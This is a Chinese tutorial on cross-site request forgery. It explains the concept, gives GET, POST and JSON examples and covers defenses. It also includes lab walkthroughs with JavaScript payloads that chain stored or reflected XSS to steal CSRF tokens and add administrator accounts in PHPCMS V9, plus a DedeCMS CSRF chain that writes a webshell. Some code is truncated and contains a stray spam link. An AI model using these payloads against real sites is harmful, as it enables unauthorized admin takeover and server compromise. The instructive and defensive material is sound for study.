0x01 CSRF定义
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。尽管听起来像跨站脚本XSS,但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性
0x02 CSRF危害
攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。
0x03 CSRF漏洞形成原因
csrf漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)。这个操作不是用户真正想要执行的。
0x04
CSRF与XSS的区别
XSS:
攻击者发现XSS漏洞——构造代码——发送给受害人——受害人打开——攻击者获取受害人的cookie——完成攻击
CSRF:
攻击者发现CSRF漏洞——构造代码——发送给受害人——受害人打开——受害人执行代码——完成攻击
0x05
CSRF的原理
下图简单阐述了CSRF攻击的思路:
从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤:
1.登录受信任网站A,并在本地生成Cookie。
2.在不登出A的情况下,访问危险网站B。
如果不满足以上两个条件中的一个,就不会受到CSRF的攻击,是的,确实如此,但你不能保证以下情况不会发生:
1.你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站。
2.你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。(事实上,关闭浏览器不能结束一个会话,但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了......)
3.上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。
0x06
CSRF攻击示例
(1).get型的CSRF
银行网站A,它以GET请求来完成银行转账的操作,如:
那么将该URL链接进行短文件处理发给对方,只要发给受害者点击,就会触发
(2).post型的CSRF
为了杜绝上面的问题,银行决定改用POST请求完成转账操作。
银行网站A的WEB表单如下:
ToBankId:
Money:
后台处理页面Transfer.php如下:
<?php
session_start();
if (isset($_REQUEST【'toBankId'】 isset($_REQUEST【'money'】))
{
buy_stocks($_REQUEST【'toBankId'】, $_REQUEST【'money'】);
}
?>
通过伪造上面的表单,并保存为bk.html,将该bk.html放到下,只要点击该网址就会触发转账
(3)json型的csrf
经过前面2个惨痛的教训,银行决定把获取请求数据的方法也改了,改用$_POST,只获取POST请求的数据,后台处理页面Transfer.php代码如下:
<?php
session_start();
if (isset($_POST【'toBankId'】 isset($_POST【'money'】))
{
buy_stocks($_POST【'toBankId'】, $_POST【'money'】);
}
?>
然而同时可以更改伪造表单:
function steal()
{
iframe = document.frames【"steal"】;
iframe.document.Submit("transfer");
}
总结一下上面3个例子,CSRF主要的攻击模式基本上是以上的3种,其中以第1,2种最为严重,因为触发条件很简单,一个url连接就可以了,而第3种比较麻烦,需要使用JavaScript,所以使用的机会会比前面的少很多,但无论是哪种情况,只要触发了CSRF攻击,后果都有可能很严重。
理解上面的3种攻击模式,其实可以看出,CSRF攻击是源于WEB的隐式身份验证机制!WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的!
0x07
CSRF实战实例
(1).post的CSRF的实战实例
首先找到一个目标站点,csrf存在的危害主要存在于可以执行操作的地方,那么我在我搭建的一个环境中的登录后页面进行测试
环境就是一个wordpress的环境,大家可以直接去官网下载
我们选择用户界面进行测试,可以看到现在只有一个用户
下面我添加用户
利用burp进行截断
利用burp的自带插件来利用csrf
会生成一个可以利用csrf.html
修改标注内的值,来保证添加的用户不会重复造成无法添加
在浏览器中尝试
执行按键,发现除了本来存在的第一个用户和我们通过正常手段加入的用户双增加了一个新的test1用户,这个用户就是我们利用csrf点击图片中的submit来执行的操作,因为是我们的测试没有对页面进行修改和直接触发,如果是攻击者利用JS来让用户进行直接的触发,只要打开了相应的页面就会执行这一行为。
(2).CSRF+xss的组合利用
利用html很不容易让人利用,漏洞触发复杂,那我们就想办法让这个触发方式变的简单起来。
利用xss漏洞来触发csrf漏洞,完成用户添加的操作。
我们首先要先了解发送的数据包内容
打开上面讲到的xss平台,创建一个csrf的项目,我们来编写一下我们的代码吧
var //代码效果参考:http://www.zidongmutanji.com/bxxx/1916.html
xmlhttp;if(window.XMLHttpRequest){
xmlhttp=new
XMLHttpRequest();
}else{
xmlhttp=new
ActiveXObject("Microsoft.XMLHTTP");
}
?
xmlhttp.open("POST","",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("action=createuser_wponce.............");
//这里填写post数据,这里需要修改用户名和密码
把这段代码粘到项目的代码配置中去
然后把我们的可利用代码通过留言的存储型XSS漏洞存入到我们的目标站点中去
留言成功后的效果如下
当管理员查看留言时就执行了我们的危险代码并发送了添加用户的请求
在查看用户列表成功的加入了test2用户
到这里,csrf的攻击实例可以说讲的差不多了,以后就要大家自己去挖掘了。
(3).利用ajax结合xss进行CSRF攻击
就是把CSRF的AJAX请求放到XSS里,以达到攻击的效果
在测试用的这套CMS的留言板处就存在存储型XSS漏洞
在这里我们可以使用CSRFTester生成一个ajax
我们可以看到ajax中核心部分
同时也可以自己编写一个简单的ajax
var xmlhttp;
?
if(window.XMLHttpRequest){
xmlhttp=new
XMLHttpRequest();
}else{
xmlhttp=new
ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.open("POST","",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("admin=789password=789password3=789button=提交数据");
在xss平台上配置项目
然后插入测试网站的留言板里
管理员查看留言信息就能添加一个管理员账号了
(4).phpcmsV9从反射型XSS到CSRF添加管理员账户
PHPCMS V9是一款PHP开源的内容管理系统,采用PHP5+MYSQL做为技术基础进行开发。当前有很多的行业门户、地方门户、政府机构等都在使用该CMS或者是进行二次开发。
pc_hash这个值是后台用来进行csrf防御的token。如果在前台能能够挖掘出一个XSS漏洞,那么就能够很容易获取到pc_hash(csrf token),那么就能触发CSRF漏洞。
寻找反射型XSS
在\phpcms\modules\admin\plugin.php文件public_appcenter_ajx_detail函数中(位于411行)。
/*
异步方式调用详情
Enter description here ...
/
public
function public_appcenter_ajx_detail() {
$id = intval($_GET【'id'】);
$data = file_get_contents(''.$id);
//$data = json_decode($data, true);
echo $_GET【'jsoncallback'】.'(',$data,')';
exit;
}
$_GET【'jsoncallback'】未经过滤直接输出到页面,这是一个反射型XSS漏洞。
/index.php?m=adminc=plugina=public_appcenter_ajx_detailjsoncallback=
利用反射型XSS获取pc_hash值
有了pc_hash以及xss漏洞,只要用户点击了攻击者精心构造的按钮,攻击者就可以发动攻击了。
构建添加管理员权限用户需要首先获取admin_manage_code。
利用xss platform发动CSRF攻击
var request = false;
if (window.XMLHttpRequest) {
request
= new XMLHttpRequest();
if
(request.overrideMimeType) {
request.overrideMimeType('text/xml')
}
} else if (window.ActiveXObject) {
var
versions = 【'Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0',
'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0',
'MSXML2.XMLHTTP'】;
for
(var i = 0; i < versions.length; i++) {
try {
request
= new ActiveXObject(versions【i】)
} catch (e) {}
}
}
xmlhttp = request;
xmlhttp.open("GET", "",
false);
xmlhttp.send(null);
var pc_hash = xmlhttp.responseText.match(/pc_hash =
'(\S)'/)【1】;//获取pc_hash
?
xmlhttp = request;
xmlhttp.open("GET", ""+pc_hash,
false);
xmlhttp.send(null);
var admin_manage_code = xmlhttp.responseText.match(/value="(\S)"
id="admin_manage_code"/)【1】;//获取admin_manage_code
?
var parm = "info%5Busername%5D=test100info%5Bpassword%5D=88888888info%5Bpwdconfirm%5D=a123123info%5Bemail%5D=1%402ssq.cominfo%5Brealname%5D=testinfo%5Broleid%5D=1info%5Badmin_manage_code%5D=01c9kekPNINAsqNA_eZY4M1SceLV8Oc70B3nQj6PlXEGMqV-XOBPs0tSqaWcjJ3qZV_2Y6lc9Tsdosubmit=%CC%E1%BD%BBpc_hash="+
pc_hash +"info%5Badmin_manage_code%5D="+admin_manage_code;//添加管理员
?
xmlhttp = request;
xmlhttp.open("POST", "",
true);
xmlhttp.setRequestHeader("Cache-Control","no-cache");
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded")
xmlhttp.send(parm);
通过xss首先获取后台csrf安全token(pc_hash),然后再获取admin_manage_code,接着构造添加管理员POST表单请求,管理员添加成功。
(5).CSRF漏洞写入shell实例
实验环境
:win10,wamp
测试的版本:受影响的版本<=官方最新版本(dedecms V57UTF8SP2)
1.首先我们构造一个向数据库中插入SHELL语句的恶意页面
(这里我多次清除cookie,多次关闭浏览器进行测试发现,该页面的效果不受其他因素影响均可正常执行),这段代码的作用就是像数据库中插入我们的shell code。
页面的代码如下:
value="INSERT INTO dede_flink(id,sortrank,url,webname,msg,email,logo,dtime,typeid,ischeck)VALUES(?1?,?1?,?www.baidu.com?,?1?,??,?1?,?1?,?1?,?1?,?1?);"
/>
2.此时我将该页面放置在我自己的服务器上
这里就可以随便放置一个地方,为了更加形象,你可以在页面上做一些操作,比如加上JS代码使得管理员访问页面的时候不会跳转,这样更神不知鬼不觉了。
3.然后我去受害网站上提交一个友链申请
将我自己网站上的恶意页面链接填入。这个链接直接对应你构造好的恶意页面。
4.然后提交,等待管理员审核
管理员审核友链时定会查看友链所链接的内容。(管理员既然可以看到该链接证明此时一定处于登陆状态)
5.只要是管理员查看了我们申请友链的链接那么就触发了恶意代码的执行
此时我们可以看到数据库中被插入了恶意代码。这里的代码可以自定义,根据你想做的操作自定义就可以了。这里我就是做实验,就是用了
6.此时无论管理员通过或者是不通过,我们的代码已经插入
此时我们构造生成shell的恶意页面,页面代码如下,构造完成之后同样放在我们自己的服务器上。(这里构造时,我们需要知道网站的路径,这里知道相对路径或者时绝对路径都是可以的。路径的获取方式:一个网站的搭建大多数采用 phpstudy wamp 或者原生态的在PHP下的www目录,这里很好猜测。或者直接请求一个网站上不存在的资源一般会爆出相对路径,或者去访问一篇文章分析路径,再或者用AWVS直接拿到路径,反正这里获取路径的方式特别多)
下面这段代码的作用是把我们刚刚插入的shell code生成一个php页面。
[/p>
form action=""
method="POST">
7.此时我们如上步骤3所示,提交一个该页面的友链申请
当管理员查看该页面时触发代码的执行,在服务器端生成一个我们自定义名称的shell。然后我们去访问我们的SHELL。可以看到执行成功。
这就是在一次测试环境中找到的一个逻辑漏洞,有时候我们会经常发现一些微不足道的小漏洞之类的,单个的看起来是没有什么作用但是多个微不足道的小漏洞结合起来往往会收到超出预期的效果。
0x08
CSRF漏洞验证方法
1.去掉Referer,去执行这个请求,发现这个请求仍然可以进行正常的搜索,那么就说明这个请求没有判断请求来源也就是Referer,在请求头部也没有发现存在token的迹象,那么笔者可以判断此处存在CSRF
2.post请求中没有token参数,请求也没有验证referer验证:
网页操作某功能,抓包后,如果发现没有token等参数,然后就将referer信息设置为空,再次发包请求,如果请求成功了,就说明这里有CSRF漏洞。如果有token等参数,可以尝试将token去掉,然后再将referer也去掉,进行验证。这种CSRF漏洞的利用,是需要在自己服务器构造一个form表单的,然后将服务器form表单的URL作为CSRF攻击进行利用的,或者用js代码生成form表单,或者用ajax实现
3.post请求中没有token参数,但是验证了referer信息验证:
将post请求改写为get请求,然后通过第一种情况下的那个方法利用。这种的检测方法,就是先执行了第二种的验证后,发现有对CSRF进行防御。然后将post请求改写为GET请求,发现仍然可以成功执行。漏洞成因是因为服务器端接收请求参数的时候,没有严格的用$_POST
而是用的类似于 $_REQUEST这种post,get请求的参数都可以接收的写法。
验证流程:
1.首先就是对目标敏感部位进行抓包分析,比如修改信息、转账、添加信息等等。通常一个数据包HTTP请求头里边都会有一个Referer,这个需要特别去验证。比如放到Burpsuit Repeater里边去测试:去掉referer,看结果是否有变化。如果没有变化意味着这里的Referer服务器端并未验证,那就继续看下一步。
2.紧接着就是查看数据包是否存在类似CSRF token的字段、常见的有参数有csrf、token、sid……(一般这些字段的值都是随机字符串),如果没有的话就排除CSRF Token的验证了。
3.很多时候走完了上边两个流程其实就已经可以断定这里是存在CSRF的,不过还有一个隐蔽的地方。在某些操作对数据包的提交采用Ajax的情况,存在一种情况,就是数据包HTTP请求头会自定义一个字段,这个时候就像存在referer的情况一样,没办法csrf了。
csrf漏洞存在的地方:关注,转发,评论,充值,添加,删除,充值和转账等地方
0x09
CSRF 漏洞防护
我总结了一下看到的资料,CSRF的防御可以从服务端和客户端两方面着手,防御效果是从服务端着手效果比较好,现在一般的CSRF防御也都在服务端进行。
1.服务端进行CSRF防御
服务端的CSRF方式方法很多样,但总的思想都是一致的,就是在客户端页面增加伪随机数。
(1).Cookie Hashing(所有表单都包含同一个伪随机值):
这可能是最简单的解决方案了,因为攻击者不能获得第三方的Cookie(理论上),所以表单中的数据也就构造失败了:
<?php
//构造加密的Cookie信息
$value = “DefenseSCRF”;
setcookie(”cookie”, $value, time()+3600);
?>
在表单里增加Hash值,以认证这确实是用户发送的请求。
php
$hash = md5($_COOKIE【'cookie'】);
?>
<?
然后在服务器端进行Hash值验证
<?php
if(isset($_POST【'check'】)) {
$hash =
md5($_COOKIE【'cookie'】);
if($_POST【'check'】 == $hash) {
doJob();
} else {
//...
}
} else {
//...
}
?>
(2).验证码
这个方案的思路是:每次的用户提交都需要用户在表单中填写一个图片上的随机字符串,厄....这个方案可以完全解决CSRF,但个人觉得在易用性方面似乎不是太好,还有听闻是验证码图片的使用涉及了一个被称为MHTML的Bug,可能在某些版本的微软IE中受影响。
(3).One-Time Tokens(不同的表单包含一个不同的伪随机值)
在实现One-Time Tokens时,需要注意一点:就是“并行会话的兼容”。如果用户在一个站点上同时打开了两个不同的表单,CSRF保护措施不应该影响到他对任何表单的提交。考虑一下如果每次表单被装入时站点生成一个伪随机值来覆盖以前的伪随机值将会发生什么情况:用户只能成功地提交他最后打开的表单,因为所有其他的表单都含有非法的伪随机值。必须小心操作以确保CSRF保护措施不会影响选项卡式的浏览或者利用多个浏览器窗口浏览一个站点。
以下我的实现:
1).先是令牌生成函数(gen_token()):
<?php
function gen_token() {
//这里我是贪方便,实际上单使用Rand()得出的随机数作为令牌,也是不安全的。
//这个可以参考我写的Findbugs笔记中的《Random object created and used only once》
$token = md5(uniqid(rand(), true));
return $token;
}
2).然后是Session令牌生成函数(gen_stoken()):
<?php
function gen_stoken() {
$pToken = "";
if($_SESSION【STOKEN_NAME】 == $pToken){
//没有值,赋新值
$_SESSION【STOKEN_NAME】 = gen_token();
}
else{
//继续使用旧的值
}
}
?>
3).WEB表单生成隐藏输入域的函数:
<?php
function gen_input() {
gen_stoken();
echo “
name=\”" . FTOKEN_NAME . “\”
value=\”" .
$_SESSION【STOKEN_NAME】 . “\”> “;
}
?>
4).WEB表单结构:
<?php
session_start();
include(”functions.php”);
?>
5).服务端核对令牌:
这个很简单,这里就不再啰嗦了。
2.客服端校验
(1). 来源校验
使用http请求头中referer来源,对客户端源进行身份校验,此方法早期使用比较多,但是仍然容易被绕过,所以这里并不建议使用。
(2).当前用户密码验证
在修改关键信息时,要钱当前用户输入其自身的密码,以验证当前用户身份的真伪,防止未授权的恶意操作
附录:CSRF利用小技巧
(1).JSON的CSRF小技巧
表格提交后数据很简单,如下:
This i a CSRF test!
但是这种方式存在缺陷,如下图:始终有个“=”摆脱不了,但是用下面这种方式成功摆脱:
可修改表单如下
This i a CSRF test!
那么post提交的数据就可以伪造了:
<img src="